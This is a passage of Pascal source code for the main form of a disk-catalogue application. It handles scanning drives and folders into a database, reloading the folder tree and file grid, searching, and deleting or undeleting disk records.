FormIsClosed then exit; ///if not AnItem.IsVisible then ExpandBranch(AnItem.Parent); if (AnItem<>nil) and not AnItem.IsVisible then ExpandBranch(AnItem.Parent); if AnItem <> nil then AnItem.Expand(false); end; //-------------------------------------------------------------------- // Scans a disk to the database. {$ifdef mswindows} function TMainForm.ScanDisk (Drive: char; AutoRun: boolean): boolean; {$else} function TMainForm.ScanDisk (Drive: ShortString; AutoRun: boolean): boolean; {$endif} begin Result := true; //if FormIsClosed then exit; if DBaseIsReadOnly then exit; try PanelsLocked := true; {$ifdef mswindows} Result := DoScan(Drive, '', '', AutoRun, false); {$else} Result := DoScan(Drive, '', '', AutoRun, false); {$endif} PanelsLocked := false; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin //FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Rescans current tree - does not change it - used when the panel // with the tree is shown/hidden procedure TMainForm.RescanTree(SavePosition: boolean); var DirsInTree: Integer; RootDirColHandle: PDirColHandle; SaveSelected: longint; Node: TTreeNode; begin //if FormIsClosed then exit; if PanelsLocked then exit; if DBaseIsEmpty then exit; try if not QGlobalOptions.ShowTree then exit; ///SaveSelected := OutlineTree.SelectedItem; DiskTree.Items.Clear; TreePtrCol^.DeleteAll; RootDirColHandle := QI_GetRootDirCol(DBaseHandle); ///OutLineTree.AddObject (0, '\', RootDirColHandle); Node:=DiskTree.Items.AddObject (nil, '\', RootDirColHandle); //Node.ImageIndex:=1; //Node.SelectedIndex:=1; TreePtrCol^.Insert(RootDirColHandle); DirsInTree := 1; try ///ScanTree (RootDirColHandle, 1, DirsInTree); ScanTree (RootDirColHandle, nil, DirsInTree); except ///on Error: EOutlineError do on Error: ETreeViewError do NormalErrorMessage(Error.Message); end; if QGlobalOptions.ExpandTree then with DiskTree do begin BeginUpdate; FullExpand; EndUpdate; end else ///DiskTree.Items[1].Expand(false); if SavePosition and (SaveSelected > 0) then begin ExpandBranch(DiskTree.Items[SaveSelected]); DiskTree.Selected.Index := SaveSelected; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin //FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Reloads a tree from the database. Called when the disk selection changes // - call is made in the idle time, so that the user can browse disks fast procedure TMainForm.ReloadTree; var DirsInTree: Integer; RootDirColHandle: PDirColHandle; Node: TTreeNode; begin if PanelsLocked then exit; try if QI_GetCountToShow(DBaseHandle) = 0 then begin ///OutLineTree.Clear; DiskTree.Items.Clear; TreePtrCol^.DeleteAll; ///OutLineTree.AddObject (0, '\', nil); DiskTree.Items.AddObject (nil, '\', nil); UpdateHeader; exit; end; QI_GoToKeyAt (DBaseHandle, Disks.Selection.Top); if not QGlobalOptions.ShowTree then exit; ///OutLineTree.Clear; DiskTree.Items.Clear; TreePtrCol^.DeleteAll; RootDirColHandle := QI_GetRootDirCol(DBaseHandle); ///OutLineTree.AddObject (0, '\', RootDirColHandle); Node:=DiskTree.Items.AddObject (nil, '\', RootDirColHandle); TreePtrCol^.Insert(RootDirColHandle); DirsInTree := 1; try ///ScanTree (RootDirColHandle, 1, DirsInTree); ScanTree (RootDirColHandle, nil, DirsInTree); except ///on Error: EOutlineError do on Error: ETreeViewError do NormalErrorMessage(Error.Message); end; if QGlobalOptions.ExpandTree then with DiskTree do begin BeginUpdate; FullExpand; EndUpdate; end else ///OutLineTree.Items[1].Expand; //DiskTree.Items[1].Expand(false); DiskTree.Select(DiskTree.Items.GetFirstNode); UpdateHeader; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin //FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Used to select programatically the folder in the tree panel - typically // when the user double-clicks on a found file, the appropriate disk is // selected, folder in the tree panel selcted (by this function) and the // file in the file panel selected procedure TMainForm.JumpInOutline(SubDirCol: pointer); var i : Integer; Found: boolean; begin //if FormIsClosed then exit; if not QGlobalOptions.ShowTree then exit; Found := false; with DiskTree do ///if SelectedItem > 0 then if Visible and (Selected.Count > 0) then ///if Items[SelectedItem].Level > 1 then /// Items[SelectedItem].Collapse; //if Items[Selected.Index].Level > 1 then if Items[Selected.AbsoluteIndex].HasChildren then //Items[Selected.Index].Collapse(true); Items[Selected.AbsoluteIndex].Collapse(true); ///for i := 0 to pred(TreePtrCol^.Count) do for i := 0 to TreePtrCol^.Count-1 do if TreePtrCol^.At(i) = SubDirCol then begin Found := true; break; end; if Found then begin ///inc(i); if i > 1 then ExpandBranch(DiskTree.Items[i]); ///OutlineTree.SelectedItem := i; if DiskTree.Visible then DiskTree.Select(DiskTree.Items[i]); end; end; //-------------------------------------------------------------------- // called when the file collection is reloaded, or the type of display is changed, // also called in idle time // SelPos = - 1 -> do not change position procedure TMainForm.UpdateFileWindowGrid (SelPos: Integer); var WidthInPixels: Integer; CalcRows : Integer; CalcCols : Integer; SpaceForRows : Integer; begin if FormIsClosed then exit; WidthInPixels := MaxFileNamePxLength + 5; if QGlobalOptions.ShowIcons then inc(WidthInPixels, BitmapFolder.Width); DrawGridFiles.BeginUpdate; if QGlobalOptions.FileDisplayType = fdBrief then begin if SelPos = -1 then with DrawGridFiles do SelPos := Col*RowCount + Row; SpaceForRows := DrawGridFiles.Height - 1; if SpaceForRows < 0 then SpaceForRows := 50; CalcRows := SpaceForRows div succ(DrawGridFiles.DefaultRowHeight); {succ includes the line between} if CalcRows = 0 then CalcRows := 1; CalcCols := (FilesList.Count + pred(CalcRows)) div CalcRows; if (CalcCols * succ(WidthInPixels)) >= DrawGridFiles.Width then begin {correction because of Scroll Bar} //dec(SpaceForRows, ScrollBarHeight); if SpaceForRows < 0 then SpaceForRows := 50; CalcRows := SpaceForRows div succ(DrawGridFiles.DefaultRowHeight); if CalcRows = 0 then CalcRows := 1; CalcCols := (FilesList.Count + pred(CalcRows)) div CalcRows; end; with DrawGridFiles do begin Selection := GridRect(0, 0, 0, 0); {this must be here, otherwise} LeftCol := 0; {exception "Grid out of bound" happens} TopRow := 0; DefaultColWidth := WidthInPixels; RowCount := CalcRows; ColCount := CalcCols; Col := SelPos div CalcRows; Row := SelPos mod CalcRows; end; end else begin with DrawGridFiles do begin ColWidths[0] := WidthInPixels; if SelPos = -1 then SelPos := pred(Row); if FilesList.Count > 0 then RowCount := FilesList.Count + 1 else RowCount := FilesList.Count + 2; if SelPos >= FilesList.Count then SelPos := 0; {to be sure} Row := succ(SelPos); end; end; DrawGridFiles.Invalidate; DrawGridFiles.EndUpdate(true); end; //-------------------------------------------------------------------- // Reloads the collection of files from the database. Used when the // the collection is to be re-sorted or updated procedure TMainForm.ReloadFileCol(SaveFileName: ShortString); var FileColHandle: PFileColHandle; i, Count : Integer; OneFile : TOneFile; OneFileLine: TOneFileLine; {ukazatel} DirPos : Integer; Jump : boolean; TmpInt : Integer; begin ///if FormIsClosed then exit; if not QI_DatabaseIsOpened (DBaseHandle) then exit; ///if PanelsLocked then exit; inc(DisableHints); try LastFileSelected := 0; CurFileSelected := 0; if QI_GetCountToShow(DBaseHandle) = 0 then begin FreeObjects(FilesList); FilesList.Clear; FillChar(SubTotals, SizeOf(SubTotals), 0); UpdateFileWindowGrid(0); UpdateStatusLine(0, true); dec(DisableHints); exit; end; FreeObjects(FilesList); FilesList.Clear; ///FilesList.Reversed := QGlobalOptions.ReversedSort; Jump := false; QI_GetCurDirColSubTotals(DBaseHandle, SubTotals); FileColHandle := QI_GetFileCol(DBaseHandle); Count := QI_GetFileColCount(FileColHandle); MaxFileNameLength := 12; MaxFileNamePxLength := DrawGridFiles.Canvas.TextWidth('MMMMMMMM.MMM'); for i := 0 to pred(Count) do begin QI_GetOneFileFromCol(FileColHandle, i, OneFile); TmpInt := length(OneFile.LongName) + length(OneFile.Ext); if TmpInt > MaxFileNameLength then MaxFileNameLength := TmpInt; TmpInt := DrawGridFiles.Canvas.TextWidth(OneFile.LongName + OneFile.Ext); if TmpInt > MaxFileNamePxLength then MaxFileNamePxLength := TmpInt; OneFileLine := TOneFileLine.Create(OneFile); if (OneFile.LongName + OneFile.Ext) = SaveFileName then begin OneFileLine.ExtAttr := OneFileLine.ExtAttr or eaToBeSelected; Jump := true; end; if (SaveFileName[0] = #0) and (DirToScrollHandle <> nil) and (OneFileLine.FileType <> ftFile) and (OneFile.SubDirCol = DirToScrollHandle) then begin OneFileLine.ExtAttr := OneFileLine.ExtAttr or eaToBeSelected; DirToScrollHandle := nil; Jump := true; end; FilesList.AddObject(GetSortString(OneFile, OneFileLine.FileType, QGlobalOptions.SortCrit, QGlobalOptions.ReversedSort), OneFileLine); end; DirPos := 0; if Jump then for i := 0 to pred(Count) do if (TOneFileLine(FilesList.Objects[i]).ExtAttr and eaToBeSelected) <> 0 then begin DirPos := i; break; end; UpdateFileWindowGrid(DirPos); UpdateStatusLine(DirPos, true); except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin //FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; dec(DisableHints); end; //-------------------------------------------------------------------- // Jumps to the selected disk-folder-file procedure TMainForm.JumpTo(Disk, Dir, FileName: ShortString); var KeyIndex : Integer; Key : ShortString; Attr : Word; begin //if FormIsClosed then exit; try QI_GoToKey(DBaseHandle, Disk); QI_ClearNeedUpdDiskWin(DBaseHandle); if QI_GetCurrentKey (DbaseHandle, Key, Attr, KeyIndex) then if Disks.Row <> KeyIndex then if KeyIndex < Disks.RowCount then Disks.Row := KeyIndex; // the change of Row causes SelectCell call - need to reset the NeedUpdTree ReloadTree; QI_ClearNeedUpdTreeWin(DBaseHandle); QI_GoToDir(DBaseHandle, Dir); JumpInOutline(QI_GetCurDirCol(DBaseHandle)); ReloadFileCol(FileName); QI_ClearNeedUpdFileWin(DBaseHandle); except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin //FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Search called when the user specifies it on the command line procedure TMainForm.SearchParam(ParamFindFile: ShortString); var FormFoundFileList: TFormFoundFileList; FoundTitle : ShortString; SaveKey : ShortString; SaveSelected: Integer; SaveAttr : Word; SavePath : ShortString; SaveFile : ShortString; begin ///if FormIsClosed then exit; with FormSearchFileDlg.DlgData do begin SortArr[1] := soName; SortArr[2] := soTime; SortArr[3] := soKey; MaxLines := 1000; CaseSensitive:= false ; SearchIn := siWholedBase; ScanFileNames:= true; ScanDirNames := true; ScanDesc := false; ScanDirLevel := -1; MoreOptions := false; Mask := ParamFindFile; AddWildCards:= false; AsPhrase := false; end; FormSearchName.DBaseHandle := DBaseHandle; try QI_GetCurrentKey (DBaseHandle, SaveKey, SaveAttr, SaveSelected); QI_GetFullDirPath (DBaseHandle, SavePath); SaveFile := LastSelectedFile; if FormSearchName.ShowModal = mrOk then begin ///if QGlobalOptions.FoundToNewWin /// then FormFoundFileList := nil /// else FormFoundFileList := TFormFoundFileList(MainForm.GetFoundForm(foFoundFile)); FormFoundFileList := nil; if FormFoundFileList = nil then begin FormFoundFileList := TFormFoundFileList.Create(Self); FormFoundFileList.Tag := Self.Tag; ///FormFoundFileList.DBaseWindow := Self; end else FormFoundFileList.BringToFront; FoundTitle := Caption + ': ' + FormSearchFileDlg.DlgData.Mask; if length(FoundTitle) > 30 then FoundTitle := ShortCopy(FoundTitle, 1, 26) + ' ...'; FormFoundFileList.Caption := FoundTitle; FormFoundFileList.GetList(DBaseHandle); end; JumpTo(SaveKey, SavePath, SaveFile); except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin //FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Scans a folder to database as a disk procedure TMainForm.ScanFolder(Directory, DiskName, VolumeLabel: ShortString; NoOverWarning: boolean); begin //if FormIsClosed then exit; if DBaseIsReadOnly then exit; try PanelsLocked := true; ///DoScan(Directory[1], Directory, DiskName, false, NoOverWarning); DoScan(Directory, Directory, DiskName, false, NoOverWarning); PanelsLocked := false; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin //FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Does the actual scan of the disk, returns false when interrupted by the user {$ifdef mswindows} function TMainForm.DoScan (Drive: char; StartPath: ShortString; DiskName: ShortString; AutoRun, NoOverWarning: boolean): boolean; {$else} function TMainForm.DoScan (Drive, StartPath: ShortString; DiskName: ShortString; AutoRun, NoOverWarning: boolean): boolean; {$endif} var VolumeLabel : ShortString; MsgText, MsgCaption: array[0..256] of char; TmpKey : ShortString; KeyPos : Integer; SaveKey : ShortString; SaveSelected : Integer; SaveAttr : Word; SavePath : ShortString; SaveFile : ShortString; FileSystem : TFileSystem; DriveType : integer; DoRepeat : boolean; KeyToBeDeletedAtExit: integer; TmpStr10 : String[10]; i : integer; begin // the exceptions are handled in the caller functions (ScanDisk, ...) Result := false; //if FormIsClosed then exit; if DBaseIsReadOnly then exit; SaveKey := ''; KeyToBeDeletedAtExit := -1; SaveAttr := 0; SaveSelected := 0; SavePath := ''; QI_GetCurrentKey (DBaseHandle, SaveKey, SaveAttr, SaveSelected); QI_GetFullDirPath (DBaseHandle, SavePath); SaveFile := LastSelectedFile; {$ifdef mswindows} if not ReadVolumeLabel (Drive + ':', VolumeLabel, FileSystem, DriveType) then {$else} if not ReadVolumeLabel (Drive, VolumeLabel, FileSystem, DriveType) then {$endif} begin Application.MessageBox( StrPCopy(MsgText, lsDrive + Drive + ':' + lsIsNotAccesible), StrPCopy(MsgCaption, lsError), mb_Ok); exit; end; if DiskName = '' then begin DiskName := VolumeLabel; with FormAskForLabel do begin Caption := Drive + ':'; if DiskName <> '' then begin TmpKey := AnsiUpperCase(DiskName); if TmpKey = DiskName then begin DiskName := AnsiLowerCase(DiskName); DiskName[1] := TmpKey[1]; end; end; GeneratedName := ''; if QLocalOptions.DiskNamePattern <> '' then begin GeneratedName := QLocalOptions.DiskNamePattern; i := Pos('#N', GeneratedName); if i = 0 then i := Pos('#n', GeneratedName); if (i>0) then begin ShortDelete(GeneratedName, i, 2); TmpStr10 := IntToStr(QLocalOptions.DiskCounter+1); ShortInsert(TmpStr10, GeneratedName, i); end; i := Pos('#D', GeneratedName); if i = 0 then i := Pos('#d', GeneratedName); if (i>0) then begin ShortDelete(GeneratedName, i, 2); ShortInsert(DiskName, GeneratedName, i); end; end; EditDiskName.Text := TrimSpaces(DiskName); DoRepeat := true; while DoRepeat do begin DoRepeat := false; if not AutoRun or (EditDiskName.Text = '') then if ShowModal <> mrOk then exit; EditDiskName.Text := TrimSpaces(EditDiskName.Text); if EditDiskName.Text = '' then exit; {$ifdef mswindows} {$ifndef DELPHI1} if (AnsiLowerCase(VolumeLabel) <> AnsiLowerCase(EditDiskName.Text)) and ((DriveType=0) or (DriveType=DRIVE_REMOVABLE) or (DriveType=DRIVE_FIXED) and not QLocalOptions.DisableVolNameChange) then begin i := Application.MessageBox( StrPCopy(MsgText, lsLabelDifferent_Change), StrPCopy(MsgCaption, lsDifferentNames), mb_YesNoCancel); if i = IDCANCEL then exit; if i = IDYES then begin if (FileSystem = FAT) and (length(EditDiskName.Text) > 12) then begin Application.MessageBox( StrPCopy(MsgText, lsOnDisk + Drive + ':' + lsLimitedLength), StrPCopy(MsgCaption, lsError), mb_Ok); DoRepeat := true; end else begin if not WriteVolumeLabel (Drive + ':', EditDiskName.Text) then Application.MessageBox( StrPCopy(MsgText, lsVolumeLabel + Drive + ':' + lsCannotBeChanged), StrPCopy(MsgCaption, lsError), mb_Ok) else VolumeLabel := EditDiskName.Text; // we need to save the proper volume label end; end; end; {$endif} {$endif} end; {while} DiskName := EditDiskName.Text; if GeneratedNameUsed then inc(QLocalOptions.DiskCounter); end; {with} end; TmpKey := DiskName; if QI_GetCountToShow(DBaseHandle) > 0 then // to delete begin if QI_KeySearch(DBaseHandle, TmpKey, KeyPos) then // existing found begin // TmpKey is filled by the item from KeyField - by the QI_KeySearch proc.} if not AutoRun and QLocalOptions.OverwriteWarning and not NoOverWarning then if Application.MessageBox( StrPCopy(MsgText, lsOverwriteExistingRecord + DiskName + '?'), StrPCopy(MsgCaption, lsWarning), mb_YesNoCancel) <> IdYes then exit; QI_ReadDBaseEntryToSaved(DBaseHandle, KeyPos); // we save the tree for faster scanning KeyToBeDeletedAtExit := KeyPos; end; end; QI_ClearSearchCol(DBaseHandle); QI_ClearTreeStruct(DBaseHandle); FormScanProgress.DBaseHandle := DBaseHandle; FormScanProgress.Drive := Drive; FormScanProgress.DiskName := DiskName; FormScanProgress.VolumeLabel := VolumeLabel; FormScanProgress.StartPath := StartPath; FormScanProgress.ScanningQDir4 := false; FormScanProgress.ShowModal; if FormScanProgress.Success then begin if (KeyToBeDeletedAtExit <> -1) then begin // firts we must save TreeStruct, otherwise it would be deleted when the disk is deleted QI_SaveTreeStruct(DBaseHandle); QI_DeleteDBaseEntry(DBaseHandle, KeyToBeDeletedAtExit); //no error checking // restore TreeStruct from the backup QI_RestoreTreeStruct(DBaseHandle); end; if not QI_AppendNewDBaseEntry(DBaseHandle) then // here is also the change in keyfield begin MsgShouldExit; QI_ClearTreeStruct(DBaseHandle); JumpTo(SaveKey, SavePath, SaveFile); exit; end; end; QI_ClearTreeStruct(DBaseHandle); QI_ClearSavedTreeStruct(DBaseHandle); QI_GoToKey(DBaseHandle, TmpKey); Result := FormScanProgress.Success; end; //-------------------------------------------------------------------- // Erases the bubble file hint procedure TMainForm.EraseFileHint; begin if FilesHintDisplayed then begin FilesHintDisplayed := false; InflateRect(LastHintRect, 0, 6); InvalidateRect(DrawGridFiles.Handle, @LastHintRect, false); end; end; //-------------------------------------------------------------------- // Returns the tag of the active panel function TMainForm.APanel: Integer; begin Result := 0; if (ActiveControl is TDrawGrid) then Result := TDrawGrid(ActiveControl).Tag; if (ActiveControl is TTreeView) then Result := TTreeView(ActiveControl).Tag; end; //-------------------------------------------------------------------- // Shows the window with the information about the disk procedure TMainForm.ShowDiskInfo; var TreeInfo: TTreeInfo; begin if FormIsClosed then exit; try QI_GetTreeInfo(DBaseHandle, TreeInfo); FormDiskInfo.SetValues(TreeInfo); FormDiskInfo.ShowModal; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Shows the window with the information about the database procedure TMainForm.ShowDBaseInfo; var DBaseInfo: TDBaseInfo; begin if FormIsClosed then exit; try QI_GetDBaseInfo(DBaseHandle, DBaseInfo); FormDBaseInfo.SetValues(DBaseInfo, ShortDBaseFileName); FormDBaseInfo.ShowModal; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Called when global options are changed, so the view of the tree and files // can be updated procedure TMainForm.ChangeGlobalOptions; var SaveFileName : ShortString; SaveExpandTree : boolean; begin if FormIsClosed then exit; SaveExpandTree := QGlobalOptions.ExpandTree; FormSettings.GetOptions(QGlobalOptions); SaveFileName := GetSelectedFileName; if SaveExpandTree <> QGlobalOptions.ExpandTree then begin with DiskTree do if QGlobalOptions.ExpandTree then begin BeginUpdate; FullExpand; EndUpdate; end else begin BeginUpdate; FullCollapse; EndUpdate; Items[1].Expand(false); end; end; ShowOrHideTreePanel; ResetDrawGridFiles; ReloadFileCol(SaveFileName); end; //-------------------------------------------------------------------- // Called when global options are changed, so the view of the deleted // disks can be updated procedure TMainForm.ChangeLocalOptions; begin if FormIsClosed then exit; try FormLocalOptions.GetOptions(QLocalOptions); QI_GetLocalOptions (DBaseHandle, TmpLocalOptions); QI_SetLocalOptions (DBaseHandle, QLocalOptions); if QLocalOptions.ShowDeleted <> TmpLocalOptions.ShowDeleted then begin UpdateDiskWindow; QI_SetNeedUpdTreeWin(DBaseHandle); end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Changes the type of display of files to brief procedure TMainForm.SetBriefFileDisplay(Brief: boolean); var SavePos : Integer; begin if FormIsClosed then exit; if Brief and (QGlobalOptions.FileDisplayType = fdBrief) then exit; if QGlobalOptions.FileDisplayType = fdBrief then with DrawGridFiles do SavePos := Col*RowCount + Row else SavePos := pred(DrawGridFiles.Row); if Brief then QGlobalOptions.FileDisplayType := fdBrief else QGlobalOptions.FileDisplayType := fdDetailed; ResetDrawGridFiles; UpdateFileWindowGrid(SavePos); end; //-------------------------------------------------------------------- // Hides or shows the tree panel procedure TMainForm.ShowOrHideTreePanel; begin if FormIsClosed then exit; try if QGlobalOptions.ShowTree and not DiskTree.Visible then begin RescanTree(false); if not DBaseIsEmpty then JumpInOutline(QI_GetCurDirCol(DBaseHandle)); DiskTree.Left := Splitter1.Left + Splitter1.Width + 1; DiskTree.Show; // make sure it is on right Splitter2.Align := alNone; Splitter2.Left := DiskTree.Left + DiskTree.Width + 1; Splitter2.Align := alLeft; Splitter2.Show; QI_ClearNeedUpdFileWin(DBaseHandle); // already updated HeaderTop.Sections[1].Width := HeaderWidths[1]; ResizeHeaderBottom; RescanTree(true); exit; end; if not QGlobalOptions.ShowTree and DiskTree.Visible then begin DiskTree.Hide; Splitter2.Hide; DiskTree.Items.Clear; HeaderTop.Sections[1].Width := 0; ResizeHeaderBottom; RescanTree(true); exit; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Sets the flag for resorting in the idle time procedure TMainForm.SetNeedResort(SortCrit: TSortCrit); begin NeedResort := true; if QGlobalOptions.SortCrit = SortCrit then QGlobalOptions.ReversedSort := not QGlobalOptions.ReversedSort else QGlobalOptions.ReversedSort := false; QGlobalOptions.SortCrit := SortCrit; end; //-------------------------------------------------------------------- // Determines whether the current disk can be undeleted function TMainForm.CanUndeleteRecord: boolean; var Key : ShortString; Attr : Word; KeyPos: Integer; begin Result := false; if FormIsClosed then exit; if DBaseIsEmpty then exit; if not QI_GetCurrentKey(DBaseHandle, Key, Attr, KeyPos) then exit; Result := Attr and kaDeleted <> 0; end; function TMainForm.GetDBaseHandle: PDBaseHandle; begin Result := DBaseHandle; end; //-------------------------------------------------------------------- // Rescans existing disk in the database procedure TMainForm.RescanDisk; var OrigDiskName, OrigVolumeLabel, OrigPath: ShortString; Index: Integer; Attr : Word; RealVolumeLabel: ShortString; SaveStr1, SaveStr2: ShortString; MsgText: array[0..1024] of char; OK: boolean; begin QI_GetCurrentKeyEx (DBaseHandle, OrigDiskName, OrigVolumeLabel, OrigPath, Attr, Index); if Attr and kaDeleted <> 0 then exit; if length(OrigPath) = 2 then OrigPath := OrigPath + '\'; // save the contents of the form for usage as scan folder SaveStr1 := FormScanFolder.EditFolder.Text; SaveStr2 := FormScanFolder.EditDiskName.Text; FormScanFolder.EditFolder.Text := OrigPath; FormScanFolder.EditDiskName.Text := OrigDiskName; FormScanFolder.SetAppearance(false); OK := FormScanFolder.ShowModal = mrOk; FormScanFolder.SetAppearance(true); OrigPath := FormScanFolder.Directory; OrigDiskName := FormScanFolder.DiskName; RealVolumeLabel := FormScanFolder.VolumeLabel; FormScanFolder.EditFolder.Text := SaveStr1; FormScanFolder.EditDiskName.Text := SaveStr2; if OK then begin if AnsiUpperCase(OrigVolumeLabel) <> AnsiUpperCase(RealVolumeLabel) then begin StrPCopy(MsgText, Format(lsVolumesDifferent1, [RealVolumeLabel, OrigVolumeLabel])); StrCat(MsgText, lsVolumesDifferent2); StrCat(MsgText, lsVolumesDifferent3); if Application.MessageBox(MsgText, lsWarning, MB_YESNOCANCEL) <> IDYES then exit; end; ScanFolder(OrigPath, OrigDiskName, RealVolumeLabel, true); end; end; //-------------------------------------------------------------------- // Deletes a disk from the database procedure TMainForm.DeleteRecord; var Key : ShortString; Attr : Word; KeyPos: Integer; MsgText, MsgCaption: array[0..256] of char; SelectedCount : longint; begin if FormIsClosed then exit; if DBaseIsReadOnly then exit; try if not QI_GetCurrentKey(DBaseHandle, Key, Attr, KeyPos) then exit; SelectedCount := QI_GetSelectedCount(DBaseHandle); if SelectedCount > 0 then begin if Application.MessageBox( StrPCopy(MsgText, lsRecordsSelected + IntToStr(SelectedCount) + lsDeleteAll), StrPCopy(MsgCaption, lsConfirmation), mb_YesNo) <> IdYes then exit; QI_DeleteSelectedDBaseEntries(DBaseHandle); end else begin if Attr and kaDeleted <> 0 then exit; //DBaseHandle is empty if Application.MessageBox( StrPCopy(MsgText, lsDeleteRecord + Key + '"?'), StrPCopy(MsgCaption, lsConfirmation), mb_YesNo) <> IdYes then exit; QI_DeleteDBaseEntry(DBaseHandle, KeyPos); end; QI_ClearTreeStruct(DBaseHandle); QI_GoToKey(DBaseHandle, Key); if QI_GetCountToShow(DBaseHandle) = 0 then begin QI_SetNeedUpdDiskWin (DBaseHandle); QI_SetNeedUpdTreeWin (DBaseHandle); QI_SetNeedUpdFileWin (DBaseHandle); end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Undeletes a disk procedure TMainForm.UndeleteRecord; var Key : ShortString; Attr : Word; KeyPos: Integer; TmpKey : ShortString; TmpKeyPos : Integer; begin if FormIsClosed then exit; if DBaseIsReadOnly then exit; try if not QI_GetCurrentKey(DBaseHandle, Key, Attr, KeyPos) then exit; if Attr and kaDeleted = 0 then exit; TmpKey := Key; while QI_KeySearch(DBaseHandle, TmpKey, TmpKeyPos) do begin with FormRenameDlg do begin Caption := lsNewNameForUndeletedDisk; Edit1.Text := TmpKey; Label2.Caption := lsDiskWithName + TmpKey + lsAlreadyExists; if ShowModal <> mrOK then exit; TmpKey := Edit1.Text; end; end; QI_RenameDBaseEntry(DBaseHandle, KeyPos, TmpKey, true); QI_ClearTreeStruct(DBaseHandle); QI_GoToKey(DBaseHandle, TmpKey); if QI_GetCountToShow(DBaseHandle) = 0 then begin QI_SetNeedUpdDiskWin (DBaseHandle); QI_SetNeedUpdTreeWin (DBaseHandle); QI_SetNeedUpdFileWin (DBaseHandle); end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Searches for the folder/file/description by the text procedure TMainForm.SearchName; var FormFoundFileList: TFormFoundFileList; FoundTitle : ShortString; SaveKey : ShortString; SaveSelected: Integer; SaveAttr : Word; SavePath : ShortString; SaveFile : ShortString; DBaseInfo : TDBaseInfo; begin if FormIsClosed then exit; if FormSearchFileDlg.ShowModal <> mrOK then exit; // verify, whether the user wants to search in selected disks and // does not have any disk selected QI_GetDBaseInfo(DBaseHandle, DBaseInfo); if (DBaseInfo.iSelectedDisks = 0) and (FormSearchFileDlg.DlgData.SearchIn = siSelectedDisks) then begin Application.MessageBox(lsNoSelectedDisk, lsCannotSearch, mb_OK); exit; end; if (DBaseInfo.iNotSelectedDisks = 0) and (FormSearchFileDlg.DlgData.SearchIn = siNotSelectedDisks) then begin Application.MessageBox(lsAllDisksSelected, lsCannotSearch, mb_OK); exit; end; FormSearchName.DBaseHandle := DBaseHandle; try QI_GetCurrentKey (DBaseHandle, SaveKey, SaveAttr, SaveSelected); QI_GetFullDirPath (DBaseHandle, SavePath); SaveFile := LastSelectedFile; if FormSearchName.ShowModal = mrOk then begin ///if QGlobalOptions.FoundToNewWin /// then FormFoundFileList := nil /// else FormFoundFileList := TFormFoundFileList(MainForm.GetFoundForm(foFoundFile)); if QGlobalOptions.FoundToNewWin then FormFoundFileList := nil //else FormFoundFileList := TFormFoundFileList(TabSheet2.FindChildControl('FormFoundFileList')); else FormFoundFileList := TFormFoundFileList(GetFoundForm(foFoundFile)); //FormFoundFileList := nil; if FormFoundFileList = nil then begin FormFoundFileList := TFormFoundFileList.Create(Self); FormFoundFileList.Tag := Self.Tag; FormFoundFileList.DBaseWindow := Self; FormFoundFileList.Parent:=TabSheet2; //FormFoundFileList.WindowState := wsMaximized; FormFoundFileList.Align:=alClient; end else FormFoundFileList.BringToFront; FormFoundFileList.Tag:=1; FoundTitle := Caption + ': ' + FormSearchFileDlg.ComboBoxMask.Text; if length(FoundTitle) > 30 then FoundTitle := ShortCopy(FoundTitle, 1, 26) + ' ...'; ///FormFoundFileList.Caption := FoundTitle + IntToStr(FormFoundFileList.DrawGrid.RowCount); FormFoundFileList.GetList(DBaseHandle); FormFoundFileList.Caption := FoundTitle + ' , '+IntToStr(FormFoundFileList.DrawGrid.RowCount-1); end; JumpTo(SaveKey, SavePath, SaveFile); except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Search for disks according to the sizes procedure TMainForm.SearchEmpty; var FormFoundEmptyList: TFormFoundEmptyList; FoundTitle : ShortString; SaveKey : ShortString; SaveSelected: Integer; SaveAttr : Word; SavePath : ShortString; SaveFile : ShortString; begin if FormIsClosed then exit; FormSearchEmpty.DBaseHandle := DBaseHandle; try 